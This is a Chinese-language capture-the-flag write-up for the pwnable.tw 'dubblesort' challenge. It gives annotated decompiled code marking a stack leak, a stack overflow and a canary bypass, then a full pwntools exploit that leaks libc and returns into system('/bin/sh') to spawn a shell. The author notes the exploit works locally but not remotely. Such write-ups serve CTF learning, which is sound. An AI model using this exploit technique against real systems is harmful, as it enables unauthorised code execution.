(留坑,远程没打成功)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __cdecl main(int argc, const char **argv, const char **envp)
{
int t_num_count; // eax
int *num_stack; // edi
unsigned int input_count; // esi
unsigned int output_ptr; // esi
int v7; // ST08_4
int result; // eax
unsigned int num_count; // [esp+18h] [ebp-74h]
int v10; // [esp+1Ch] [ebp-70h]
char buf; // [esp+3Ch] [ebp-50h]
unsigned int v12; // [esp+7Ch] [ebp-10h]

v12 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, &buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");// 栈空间未初始化为0,printf时\x00截断,导致栈空间信息泄露
__isoc99_scanf("%u", &num_count);
t_num_count = num_count;
if ( num_count )
{
num_stack = &v10;
input_count = 0;
do
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", num_stack);
++input_count;
t_num_count = num_count;
++num_stack;
}
while ( num_count > input_count );
} // ebp-0x70读入num_count个数,栈溢出
sub_931((unsigned int *)&v10, t_num_count); // 冒泡,升序
puts("Result :");
if ( num_count )
{
output_ptr = 0;
do
{
v7 = *(&v10 + output_ptr);
__printf_chk(1, "%u "); // canary最低位为00,这里偏移24覆盖为\x00可以leak canary
++output_ptr;
}
while ( num_count > output_ptr );
}
result = 0;
if ( __readgsdword(0x14u) != v12 )
sub_BA0();
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level='DEBUG'

'''
r=remote('chall.pwnable.tw',10101)
libc=ELF('./libc_32.so.6')
'''


r=process('./dubblesort')
libc=ELF('/lib32/libc-2.27.so')


'''
r=process('./dubblesort',env={"LD_PRELOAD":"/root/pwnable.tw/dubblesort/libc_32.so.6"})
libc=ELF('./libc_32.so.6')
'''

#leak libc_base
r.recvuntil('What your name :')
r.sendline('a'*20)
r.recvuntil('\n')
#libc_base=u32('\x00'+r.recv(3))-0x1D2CD0
libc_base=u32('\x00'+r.recv(3))-0x1D5000 #本地(我就TM奇他喵了个咪的怪了,本地能打远程就不行?
success('libc_base:'+hex(libc_base))

sys_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
#binsh_addr=libc_base+0x168e8b
success('sys_addr:'+hex(sys_addr))
success('binsh_addr:'+hex(binsh_addr))

'''
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL

one_gadget=libc_base+0x5f066
success('one_gadget addr:'+hex(one_gadget))
'''

#gdb.attach(r)

#r.recvuntil('How many numbers do you what to sort :')
r.sendline('36')

for i in range(0,24):
r.recvuntil(':')
r.sendline(str(i))

#bypass canary
r.recvuntil(':')
r.sendline('+') #24,canary

for i in range(0,8):
r.recvuntil(':')
r.sendline(str(sys_addr))

for i in range(0,3):
r.recvuntil(':')
r.sendline(str(binsh_addr))

r.interactive()

本地能打成功,远程可能是给的libc没有找到’/bin/sh’(?直接在libc里找libc.search(‘/bin/sh’).next()是可以找到的,但是在IDA同样的位置找到的并不是db类型的字符串常量’/bin/sh’,此处留坑),one_gadget试了下也没成功

img